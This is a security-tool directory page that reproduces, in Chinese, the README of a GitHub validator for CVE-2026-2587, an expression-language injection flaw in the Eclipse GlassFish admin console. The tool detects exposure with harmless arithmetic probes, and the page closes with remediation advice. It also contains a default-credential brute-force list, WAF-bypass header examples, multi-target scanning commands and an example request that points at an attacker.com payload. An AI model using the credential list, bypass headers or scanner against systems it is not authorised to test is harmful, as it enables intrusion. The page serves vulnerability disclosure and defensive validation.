Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-2587-Exploit-POC — CVE-2026-2587 PoC验证器,用于Eclipse GlassFish admin console中gadget.jsf处理器的EL注入远程代码执行漏洞。安全的经过身份验证的漏洞扫描器,专为授权测试设计。 | Kitploit
工具/GitHubGitHub/bhanunamikaze/cve-2026-2587-exploit-poc
漏洞扫描器动态分析 (沙盒)漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
GitHubbhanunamikaze/cve-2026-2587-exploit-poc

CVE-2026-2587-Exploit-POC

CVE-2026-2587 PoC验证器,用于Eclipse GlassFish admin console中gadget.jsf处理器的EL注入远程代码执行漏洞。安全的经过身份验证的漏洞扫描器,专为授权测试设计。

查看仓库网站
163个月前尚未审核
分享

CVE-2026-2587 漏洞验证PoC — Eclipse GlassFish EL注入远程代码执行验证工具

CVE-2026-2587的安全PoC验证器,这是一个影响Eclipse GlassFish管理控制台组件处理(通过/common/gadgets/gadget.jsf)的严重EL注入/远程代码执行漏洞。

该工具帮助安全团队使用良性的算术EL检测值,在授权环境中验证GlassFish CVE-2026-2587的暴露风险。

分配者: Eclipse Foundation (CNA) · 发布时间: 2026年5月19日 CVSS: 9.6 Critical · AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H CWE: CWE-917 — 表达式语言注入 受影响版本: 未知(截至2026年5月21日的公开公告) (截至2026年5月21日的公开公告) 版本仅用于路由/报告上下文;判定需要实际证明。

已修复版本:
未知
扫描规则:

目录

  • 漏洞概述
  • 工作原理
  • 认证要求
  • 设置
  • 实验环境 (Docker)
  • 生成探测XML
  • 使用方法 — 单个目标
    • 本地/Docker
    • 凭据
    • 暴力破解登录
    • 通过Cloudflare隧道远程
    • 预托管静态XML
    • 通过ngrok远程 (最后手段)
    • 仅未认证检查
  • 使用方法 — 多个目标
    • 目标文件格式
    • 并行扫描
  • 输出格式
    • 控制台
    • CSV
    • JSON
    • 组合输出
  • 高级选项
    • 端点和版本发现
    • 自定义监测值
    • 自定义请求头
  • 测试用例
  • 输出解读
  • 手动验证
  • 修复建议
  • 参考
  • 免责声明

漏洞概述

在 GlassFish 管理控制台组件处理器中存在一个严重的远程代码执行漏洞。该应用程序处理通过 gadget= 查询参数提供的URL获取的 .xml 文件,并在没有消毒或转义的情况下,通过 Java 表达式语言 (EL) 引擎 评估 <ModulePrefs> 属性中的用户提供值。``` GET /common/gadgets/gadget.jsf?gadget=http://attacker.com/payload.xml

root@kitploit:~
如果 XML 在 `<ModulePrefs title="">` 属性中包含 `#{7*7}`,GlassFish 会在服务器端对其求值并返回 `49`——从而确认 EL 表达式执行。随后可通过 EL 对 Java 运行时的访问实现完整的 RCE 链。

当前公开的公告记录并未公布受影响或已修补的版本边界。因此,此验证器采用“先证明”原则:它会对 GlassFish 进行指纹识别并报告版本元数据,但不会仅凭版本字符串将目标分类为易受攻击。

---

## 工作原理

![CVE-2026-2587 的安全验证工作流程](https://assets.kitploit.com/production/public/readmes/15612/d24fad85e9cfd24152f916ba71622ed442636e171c4e912ad5ffd7d973f9a6ba.png)

安全验证路径会托管一个良性的 XML 探测文件,向 `gadget.jsf` 发送经身份验证的管理控制台请求,让 GlassFish 从回调 URL 获取该 XML,并检查 `<ModulePrefs title="">` 探针是否从 `#{7*7}` 求值为 `49`。

**注入点已确认 vs. 未确认:**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" />              <!-- returns 49 -->
<ModulePrefs description="#{7*7}" />        <!-- returns 49 -->

<!-- ❌ EL NOT evaluated -->
<Content type="html">
  <![CDATA[ #{7*7} ]]>                      <!-- returns #{7*7} literally -->
</Content>

认证要求

场景需要认证?
直接访问 gadget.jsf是 — 表单认证,返回200登录页面
真实世界的CSRF攻击否 — 利用管理员的活动会话
此验证器是 — 使用 --cookie 或 --username/--password
未认证暴露检查否 — 脚本自动测试此情况

CVSS向量 PR:N / UI:R 意味着:

  • PR:N — 攻击者不需要自身凭证
  • UI:R — 已登录的管理员必须交互(CSRF传递)

对于实验室验证,完全跳过CSRF — 直接使用你自己的管理员会话。


设置

要求: Python 3.9+ · `requests````bash git clone https://github.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC cd CVE-2026-2587-Exploit-POC pip install requests

optional for coloured terminal output:

pip install colorama

root@kitploit:~
**仓库内容:**```
CVE-2026-2587-Exploit-POC/
├── assets/
│   └── cve-2026-2587-validation-flow.png  ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py   ← main script
├── probe.xml                   ← ready-to-host static probe XML
├── targets.txt.example         ← multi-target file template
└── README.md

实验室环境(Docker)

注意: GHSA 仍将受影响和已修补的版本列为未知。 omnifish/glassfish:7.0.15 是一个很好的实验候选——不能保证是有漏洞的构建。 验证原语仍然是算术金丝雀:如果 #{7*7} 计算结果为 49,则 EL 是激活的。

选项 A — docker compose(推荐)```bash

from the repo root

docker compose -f docker-compose.lab.yml up

root@kitploit:~
启动 GlassFish 7.0.15,仅将端口绑定到 `127.0.0.1`,并预配置 `host.docker.internal`,以便容器能够访问本地 XML 服务器。

### 选项 B — 直接使用 docker run```bash
docker run --rm \
  --name gf-cve-2026-2587-lab \
  -p 127.0.0.1:8080:8080 \
  -p 127.0.0.1:4848:4848 \
  --add-host=host.docker.internal:host-gateway \
  omnifish/glassfish:7.0.15

管理控制台:https://localhost:4848 · 登录:admin / admin (自签名证书 — 浏览器会出现警告。)


提供良性探测XML文件

在第二个终端中:```bash

The repo ships with probe.xml — serve it directly:

python3 -m http.server 8000 --bind 0.0.0.0

root@kitploit:~
从容器的视角验证可达性:```bash
docker exec gf-cve-2026-2587-lab \
  curl -s http://host.docker.internal:8000/probe.xml | head -5

手动触发

首先登录管理员控制台(浏览器会话或 --cookie),然后:```bash curl -sk
-H "Cookie: JSESSIONID=YOUR_SESSION_ID"
"https://localhost:4848/common/gadgets/gadget.jsf?gadget=http%3A%2F%2Fhost.docker.internal%3A8000%2Fprobe.xml"
| grep -oE 'CVE2587_(TITLE|BODY)_[^"< ]+'

root@kitploit:~
| Output | Meaning |
|---|---|
| `CVE2587_TITLE_49_END` | **存在漏洞** — 在 `ModulePrefs title` 中评估了 EL |
| `CVE2587_BODY_49_END` | **存在漏洞** — 在 CDATA body 中评估了 EL |
| `CVE2587_TITLE_#{7*7}_END` | 不存在漏洞 / 未评估 EL |
| *(no output)* | GlassFish 从未获取 XML — 检查回调可达性 |

> 通常即使在存在漏洞的构建中,CDATA body 也保持原始状态;仅凭正的 `TITLE` 结果就足以确认发现。

---

### 针对本地实验室的自动验证```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --username admin --password admin \
  --insecure --verbose

生成探针XML

该仓库附带了一个probe.xml文件,可直接使用。您也可以随时生成一个新的文件——当您想要自定义canary前缀或随机化值以使探针在每次参与中唯一时,这很有用。```bash

Generate with default values (CVE2587 prefix, #{7*7})

python3 CVE-2026-2587-Exploit-POC.py --generate-xml probe.xml

Generate with custom prefix and operands

python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe.xml
--prefix MYTEST --left 13 --right 17

Print to stdout (pipe to a server, gist, etc.)

python3 CVE-2026-2587-Exploit-POC.py --generate-xml -

Generate with random values (different every run)

python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe_$(date +%s).xml
--prefix SCAN$(date +%s) --left 31 --right 127

root@kitploit:~
写入文件后的输出:```
[+] probe XML written → probe.xml
    Expression  : #{7*7}
    Expects     : CVE2587_TITLE_49_END  in response title
    Host this file at a URL reachable by the target server.
    Then run:
      --xml-url http://YOUR_SERVER/probe.xml
      --prefix CVE2587 --left 7 --right 7

使用方法 — 单目标

本地主机 / Docker

当 GlassFish 在本地或同一台机器的 Docker 中运行时使用。

在登录管理控制台后,从浏览器 DevTools → Application → Cookies 中获取你的 JSESSIONID,然后:```bash

Docker — GlassFish in container, script on host

python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://host.docker.internal:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure --verbose

Localhost (no Docker)

python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://127.0.0.1:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure

root@kitploit:~
> `host.docker.internal` 在 Docker 内部解析为主机。
> GlassFish 容器通过此地址获取您的探针 XML。

---

### 凭据```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --username admin --password admin \
  --insecure --verbose

如果表单登录失败,脚本会回退并尝试端点。
如果端点也失败,它会打印获取会话 cookie 的逐步指导。


暴力破解登录

当完全没有凭据时,--brute 会按顺序尝试 21 个常见的 GlassFish 默认凭据对,并使用第一个成功的。
与 --username 和 --cookie 互斥。```bash python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://host.docker.internal:8000
--brute --insecure --verbose

root@kitploit:~
如果找到有效的凭证对,则将其打印在输出中并记录到 CSV 的 `brute_creds` 列。如果所有凭证对均失败,扫描将以 `AUTH_REQUIRED` 状态退出。

某些 GlassFish 版本在有效表单 POST 后会返回 `/login.jsf`。验证器不会单独将该 URL 视为失败;它通过探测管理小工具端点并检查响应是否不是登录表单来确认会话。

尝试的凭证列表(按顺序):

| 用户名 | 密码 |
|---|---|
| `admin` | `admin` |
| `admin` | *(空)* |
| `admin` | `adminadmin` |
| `admin` | `password` |
| `admin` | `admin123` |
| `admin` | `Admin1234` |
| `admin` | `glassfish` |
| `admin` | `glassfishadmin` |
| `admin` | `changeit` |
| `admin` | `changeme` |
| `admin` | `secret` |
| `admin` | `welcome1` |
| `admin` | `oracle` |
| `admin` | `Oracle123` |
| `administrator` | `administrator` |
| `administrator` | `password` |
| `administrator` | `admin` |
| `glassfish` | `glassfish` |
| `root` | `root` |
| `root` | `password` |
| `root` | `toor` |

---

### 通过 Cloudflare Tunnel 远程访问

无需账户即可快速创建隧道。

**步骤 1 — 安装 cloudflared:**```bash
# macOS
brew install cloudflared

# Linux
wget -q https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb
sudo dpkg -i cloudflared-linux-amd64.deb

步骤2 — 启动隧道:```bash

Terminal 1

cloudflared tunnel --url http://localhost:8000

→ https://random-words.trycloudflare.com

root@kitploit:~
**步骤 3 — 运行验证器:**

对回调 URL 使用相同生成的主机名,并加上 `http://`。这可以避免 GlassFish 实验室容器中因无法验证 Cloudflare TLS 证书链而导致的 JVM 信任库故障。如果你粘贴生成的 `https://` trycloudflare URL,验证器会将该回调重写为 `http://` 并打印一条警告。尾部斜杠是可选的;验证器会自动附加 `/canary.xml` 以及每个测试的 XML 路径。```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://REMOTE_TARGET:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://random-words.trycloudflare.com \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

预托管静态XML

当无法运行本地服务器时使用。目标 GlassFish JVM 必须能够直接获取此 URL,因此,与目标 JVM 不信任其证书链的 HTTPS 主机相比,受信任 VPS/Web 服务器上的纯 HTTP 通常更可靠。 --xml-url 标志完全绕过内置服务器。

生成一个新的探针 XML,然后托管它:```bash

Step 1 — generate

python3 CVE-2026-2587-Exploit-POC.py --generate-xml probe.xml

Step 2 — host it (pick one)

python3 -m http.server 8000 # local, then expose via Cloudflare Tunnel scp probe.xml user@YOUR_VPS:/var/www/ # VPS or any web server

Step 3 — run (use the --prefix/--left/--right from the generate output)

python3 CVE-2026-2587-Exploit-POC.py
--base https://TARGET:4848
--xml-url http://YOUR_SERVER/probe.xml
--prefix CVE2587 --left 7 --right 7
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure

root@kitploit:~
> `--prefix`、`--left`、`--right` 必须与你托管的 XML 文件中的值匹配,这样脚本才知道要在响应中查找哪个已评估的令牌。

---

### 通过 ngrok 远程访问(最后手段)

仅将 ngrok 作为远程目标的最后选项。免费版可能会通过返回一个中间 HTML 警告页面来阻止非浏览器发起的服务器端请求。在这种情况下,GlassFish 会获取警告页面而不是你的 `probe.xml`,验证器可能会将响应归类为登录页面或不确定的结果。建议优先使用 Cloudflare Tunnel、VPS 或静态 Web 主机,以便目标 JVM 能够干净地获取,除非你拥有绕过此限制的付费 ngrok 账户。

**步骤 1 — 安装 ngrok:**```bash
# macOS
brew install ngrok

# Linux
curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \
  | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null
echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \
  | sudo tee /etc/apt/sources.list.d/ngrok.list
sudo apt update && sudo apt install ngrok

步骤 2 — 公开你的本地服务器:```bash

Terminal 1

ngrok http 8000

→ Forwarding: https://abc123.ngrok-free.app -> http://localhost:8000

root@kitploit:~
**步骤 3 — 运行验证器:**```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://REMOTE_TARGET:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url https://abc123.ngrok-free.app \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

将 abc123.ngrok-free.app 替换为你实际的 ngrok URL。 该脚本在 :8000 上启动自己的 XML 服务器;ngrok 将来自互联网的流量转发到该服务器。


仅未认证检查

在进行完整认证扫描前,测试端点是否意外暴露无需认证。阶段 1 后立即退出。```bash python3 CVE-2026-2587-Exploit-POC.py
--base https://TARGET:4848
--listen 0.0.0.0:8000
--callback-url http://YOUR_IP:8000
--check-unauth-only --insecure

root@kitploit:~
---

## 用法 — 多目标

### 目标文件格式

仓库中包含 `targets.txt.example` 作为模板。复制并编辑它:```bash
cp targets.txt.example targets.txt
# edit targets.txt with your servers

格式 — 每行一个目标,以 # 开头的行和空行被忽略, 每个目标的凭据会覆盖全局的 --username/--password:```

targets.txt

format: URL

https://server1:4848

format: URL username password

https://server2:4848 admin password123 https://server3:4848 ops secret99

format: URL username:password

https://server4:4848 admin:admin

commented-out targets are skipped

https://server5:4848

root@kitploit:~
对所有目标运行:```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --targets-file targets.txt \
  --listen 0.0.0.0:8000 \
  --callback-url https://random-words.trycloudflare.com \
  --username admin --password admin \
  --insecure \
  --csv results.csv

全局 --username/--password 适用于没有逐行凭据的目标。 逐行凭据优先于全局设置。


并行扫描

使用 --threads 可同时扫描多个目标。 内置的 XML 服务器在所有线程间共享。```bash

Scan 10 targets at once

python3 CVE-2026-2587-Exploit-POC.py
--targets-file targets.txt
--listen 0.0.0.0:8000
--callback-url https://random-words.trycloudflare.com
--username admin --password admin
--threads 10
--insecure
--csv results.csv --json

root@kitploit:~
> 推荐线程数:
> - 本地实验室:最多 `10`
> - 通过互联网的远程目标:`3–5`(遵守速率限制)
> - 单个目标:`1`(默认)

---

## 输出格式

### 控制台

默认人类可读输出。添加 `--verbose` 可查看每个测试用例的结果。```
────────────────────────────────────────────────────────────────
  Target : https://localhost:4848
  Server : Eclipse GlassFish 7.0.15
  Version : Eclipse GlassFish 7.0.15  [asadmin-api]  (affected: UNKNOWN)
  Console : present  |  Gadget: present  |  Proof: evaluated
[+] VULNERABLE  —  9/10 test cases confirmed
[+]   TC-01 Basic multiply      #{7*7} → 49
[+]   TC-02 Addition            #{1337+2587} → 3924
[+]   TC-03 Large multiply      #{31337*271} → 8492327
    ...

    Remediation: restrict admin access and apply vendor-published fixed builds when available.

多目标摘要:``` ════════════════════════════════════════════════════════════════ SCAN SUMMARY — 4 target(s) ════════════════════════════════════════════════════════════════ Vulnerable : 2 Not vulnerable : 1 Auth required : 1 Error / other : 0 ════════════════════════════════════════════════════════════════

root@kitploit:~
### CSV```bash
# Write to file
--csv results.csv

# Write to stdout (pipe-friendly)
--csv -

CSV columns:

ColumnDescription
target目标URL
timestampUTC ISO-8601扫描时间
verdictVULNERABLE / NOT_VULNERABLE / AUTH_REQUIRED / VULNERABLE_UNAUTH / ERROR
vulnerable_count确认EL评估的测试用例数量
total_tests运行的总测试用例数
unauth_exposed如果端点无需认证响应则为YES
active_endpoint用于测试的端点URL
server_header来自GlassFish的Server: 头部
detected_version如果识别出版本,则为版本字符串
version_source版本值的来源:header、REST/login页面或asadmin-api
version_affected建议版本状态。目前为UNKNOWN,因为未发布公开受影响/已修补范围
admin_consolepresent、not_found或unknown
gadget_endpointpresent、blocked、not_found或unknown
proofevaluated、not_evaluated或not_attempted
TC-01 … TC-10每个测试的结果:VULNERABLE / NOT_VULNERABLE / INCONCLUSIVE / SKIPPED
notes如果扫描失败,则为错误消息

Example rows:```csv target,timestamp,verdict,vulnerable_count,total_tests,unauth_exposed,active_endpoint,server_header,detected_version,version_source,version_affected,admin_console,gadget_endpoint,proof,brute_creds,TC-01 Basic multiply,...,notes https://server1:4848,2026-05-21T10:00:00+00:00,VULNERABLE,9,10,no,https://server1:4848/common/gadgets/gadget.jsf,Eclipse GlassFish 7.0.15,Eclipse GlassFish 7.0.15,asadmin-api,UNKNOWN,present,present,evaluated,,VULNERABLE,..., https://server2:4848,2026-05-21T10:00:05+00:00,NOT_VULNERABLE,0,10,no,https://server2:4848/common/gadgets/gadget.jsf,Eclipse GlassFish 8.0.1,Eclipse GlassFish 8.0.1,header:Server,UNKNOWN,present,present,not_evaluated,,NOT_VULNERABLE,..., https://server3:4848,2026-05-21T10:00:08+00:00,AUTH_REQUIRED,0,10,no,,,,,UNKNOWN,present,blocked,not_attempted,,,Session rejected or cookie expired

root@kitploit:~
### JSON```bash
--json

单一目标:```json { "active_endpoint": "https://localhost:4848/common/gadgets/gadget.jsf", "admin_console": "present", "detected_version": "Eclipse GlassFish 7.0.15", "gadget_endpoint": "present", "proof": "evaluated", "server_header": "Eclipse GlassFish 7.0.15", "target": "https://localhost:4848", "tested_paths": [ "https://localhost:4848/common/gadgets/gadget.jsf", "https://localhost:4848/admin/common/gadgets/gadget.jsf", "https://localhost:4848/console/common/gadgets/gadget.jsf", "https://localhost:4848/glassfish/common/gadgets/gadget.jsf", "https://localhost:4848/asadmin/common/gadgets/gadget.jsf" ], "timestamp": "2026-05-21T10:00:00+00:00", "verdict": "VULNERABLE", "version_affected": "UNKNOWN", "version_source": "asadmin-api", "vulnerable_count": 9, "total_tests": 10, "unauth_result": "AUTH_REQUIRED", "tc_results": [ {"name": "TC-01 Basic multiply", "expr": "#{7*7}", "expects": "49", "status": "VULNERABLE"}, {"name": "TC-02 Addition", "expr": "#{1337+2587}", "expects": "3924", "status": "VULNERABLE"} ] }

root@kitploit:~
Multiple targets returns a JSON array.

---

### 组合输出

所有输出格式都是独立的——可以自由组合:```bash
# Console + CSV + JSON simultaneously
python3 CVE-2026-2587-Exploit-POC.py \
  --targets-file targets.txt \
  --listen 0.0.0.0:8000 \
  --callback-url https://random-words.trycloudflare.com \
  --username admin --password admin \
  --threads 5 --insecure --verbose \
  --csv results.csv \
  --json > results.json

高级选项

端点与版本发现

默认情况下,扫描器会在常见的 admin GUI 根路径下测试共享的 GlassFish 漏洞路径:```text /common/gadgets/gadget.jsf /admin/common/gadgets/gadget.jsf /console/common/gadgets/gadget.jsf /glassfish/common/gadgets/gadget.jsf /asadmin/common/gadgets/gadget.jsf

root@kitploit:~
它也通过重定向的 `Location` 头部学习非默认的 GUI 上下文根,并在测试前将该根作为前缀。只有当你想覆盖此发现列表时,才使用可重复的 `--path` 值。

版本检测通过响应头部、管理 REST API、登录页面以及在成功登录后的 `/__asadmin/version.json` 或 `/__asadmin/version` 进行。版本数据仅用于改进路由和报告;扫描器将 `version_affected` 保持为 `UNKNOWN`,直到公开的公告记录发布版本边界。

---

### 自定义金丝雀值

使用 `--prefix`、`--left`、`--right` 将验证器与手工制作的 XML 匹配。当使用 `--xml-url` 及你自己托管的文件时需要。```bash
# Matches: <ModulePrefs title="MYTEST_TITLE_#{13*17}_END" />
# Expects: MYTEST_TITLE_221_END in response
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://TARGET:4848 \
  --xml-url http://YOUR_SERVER/custom.xml \
  --prefix MYTEST --left 13 --right 17 \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

自定义标头

添加任意标头 — 对于绕过WAF、负载均衡路由或在反向代理后测试非常有用。```bash python3 CVE-2026-2587-Exploit-POC.py
--base https://TARGET:4848
--listen 0.0.0.0:8000
--callback-url http://YOUR_IP:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--header "X-Forwarded-For: 127.0.0.1"
--header "X-Original-URL: /common/gadgets/gadget.jsf"
--header "X-Custom-Header: value"
--proxy http://127.0.0.1:8080
--insecure

root@kitploit:~
---

## 测试用例

验证器运行 10 个独立的 EL 探测,每个确认一种不同的能力:

| # | 有效载荷 | 预期结果 | 验证内容 |
|---|---|---|---|
| TC-01 | `#{7*7}` | `49` | 基础算术金丝雀测试 |
| TC-02 | `#{1337+2587}` | `3924` | 加法运算符 |
| TC-03 | `#{31337*271}` | `8492327` | 抗冲突的大数乘法 |
| TC-04 | `#{9999-1337}` | `8662` | 减法运算符 |
| TC-05 | `#{(6+1)*(6+1)}` | `49` | 嵌套括号 / 运算符优先级 |
| TC-06 | `#{1==1?'VULN':'SAFE'}` | `VULN` | 条件 / 三元运算符 —— 控制流被执行 |
| TC-07 | `#{'CVE'.concat('2026')}` | `CVE2026` | 字符串方法访问 |
| TC-08 | `#{'GL'.concat('ASS').concat('FISH')}` | `GLASSFISH` | 链式方法调用 |
| TC-09 | `#{17 mod 5}` | `2` | EL 关键字运算符 |
| TC-10 | `#{100*100}` | `10000` | 额外算术确认 |

TC-06、TC-07 和 TC-08 最为关键 —— 通过这些意味着 EL 引擎执行了**字符串 API 方法和条件逻辑**,这是通往完整 RCE 链的直接前奏。

---

## 输出解释

| 状态 | 含义 |
|---|---|
| `VULNERABLE` | EL 表达式已被求值 —— 确认实例受影响 |
| `VULNERABLE_UNAUTH` | 端点未经验证暴露 —— 比基础 CVE 更严重 |
| `NOT_VULNERABLE` | 表达式被原样反射 —— EL 未求值 |
| `AUTH_REQUIRED` | 端点返回登录页面 —— 检查 cookie 或凭据 |
| `INCONCLUSIVE` | 收到响应,但未找到金丝雀 —— 见下文 |
| `ERROR` | 请求失败 —— 网络 / TLS 问题 |

`detected_version` 和 `version_source` 是辅助上下文。由于公开公告目前将受影响和已修补版本列为未知,请不要将 `version_affected=UNKNOWN` 视为否定结果。唯一肯定性发现是已求值的证明令牌。

**INCONCLUSIVE 故障排查:**

| 症状 | 原因 | 修复 |
|---|---|---|
| `XML hits: 0` | GlassFish 从未获取到您的 XML | `--callback-url` 从目标不可达 |
| `XML hits: 1+` 但无匹配 | EL 已求值但字段错误 | 对 CDATA 内容属于预期行为 |
| 运行中认证重定向 | 会话过期 | 从浏览器获取新的 `JSESSIONID` |
| 登录 POST 重定向到 `j_security_check` | 密码错误 | 改用 `--cookie` |

---

## 手动验证

无需 Python:```bash
# Step 1 — create probe XML
mkdir probe && cat > probe/probe.xml << 'EOF'
<?xml version="1.0"?>
<Module>
  <ModulePrefs title="PROBE_#{7*7}_END"/>
  <Content type="html"><![CDATA[ok]]></Content>
</Module>
EOF

# Step 2 — serve it
python3 -m http.server 8000 --directory probe &

# Step 3 — hit the endpoint with your session cookie
curl -sk \
  -H "Cookie: JSESSIONID=YOUR_SESSION_ID" \
  "https://localhost:4848/common/gadgets/gadget.jsf?gadget=http://host.docker.internal:8000/probe.xml" \
  | grep -oE 'PROBE_[^"< ]+_END'

# Vulnerable output:
# PROBE_#{7*7}_END    ← raw (CDATA — expected)
# PROBE_49_END        ← evaluated ✅ VULNERABLE

修复建议

操作详情
升级当 Eclipse/NVD/GHSA 发布补丁版本边界后,应用厂商发布的修复版本
禁用 gadget 处理器如果未使用,在 WAF/防火墙处阻止 /common/gadgets/gadget.jsf
限制管理控制台仅允许受信任 IP 访问端口 4848
CSRF 防护确保管理会话设置 SameSite Cookie 属性
WAF 规则阻止到达 gadget 端点的 XML 正文中的 #{ 和 ${

参考

资源链接
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-2587
GitHub 安全公告 (GHSA)https://github.com/advisories/GHSA-29wv-cv7p-xjc2
Eclipse CVE 跟踪https://gitlab.eclipse.org/security/cve-assignment/-/issues/86
Eclipse GlassFish 源码https://github.com/eclipse-ee4j/glassfish
CWE-917https://cwe.mitre.org/data/definitions/917.html
报告者Camilo G. (DeepSecurity Perú) — @SeguridadBlanca

免责声明

本仓库仅供 授权的安全测试与研究 使用。

  • 仅对您拥有或获得 明确书面授权 的系统运行此工具
  • 验证器仅执行 良性的 EL 求值——不执行命令、不反弹 shell、不上传文件、不留后门
  • 作者不对滥用行为承担任何责任
  • 已遵循负责任的披露流程——报告于 2025 年 12 月,发布 2026 年 5 月

仓库布局:``` CVE-2026-2587-Exploit-POC/ ├── assets/ │ └── cve-2026-2587-validation-flow.png ← README workflow diagram ├── CVE-2026-2587-Exploit-POC.py ← validator script ├── probe.xml ← ready-to-host static probe XML (#{7*7} canary) ├── targets.txt.example ← multi-target file template └── README.md

root@kitploit:~
---

<p align="center">
  <a href="https://github.com/Bhanunamikaze">github.com/Bhanunamikaze</a>
</p>
下载工具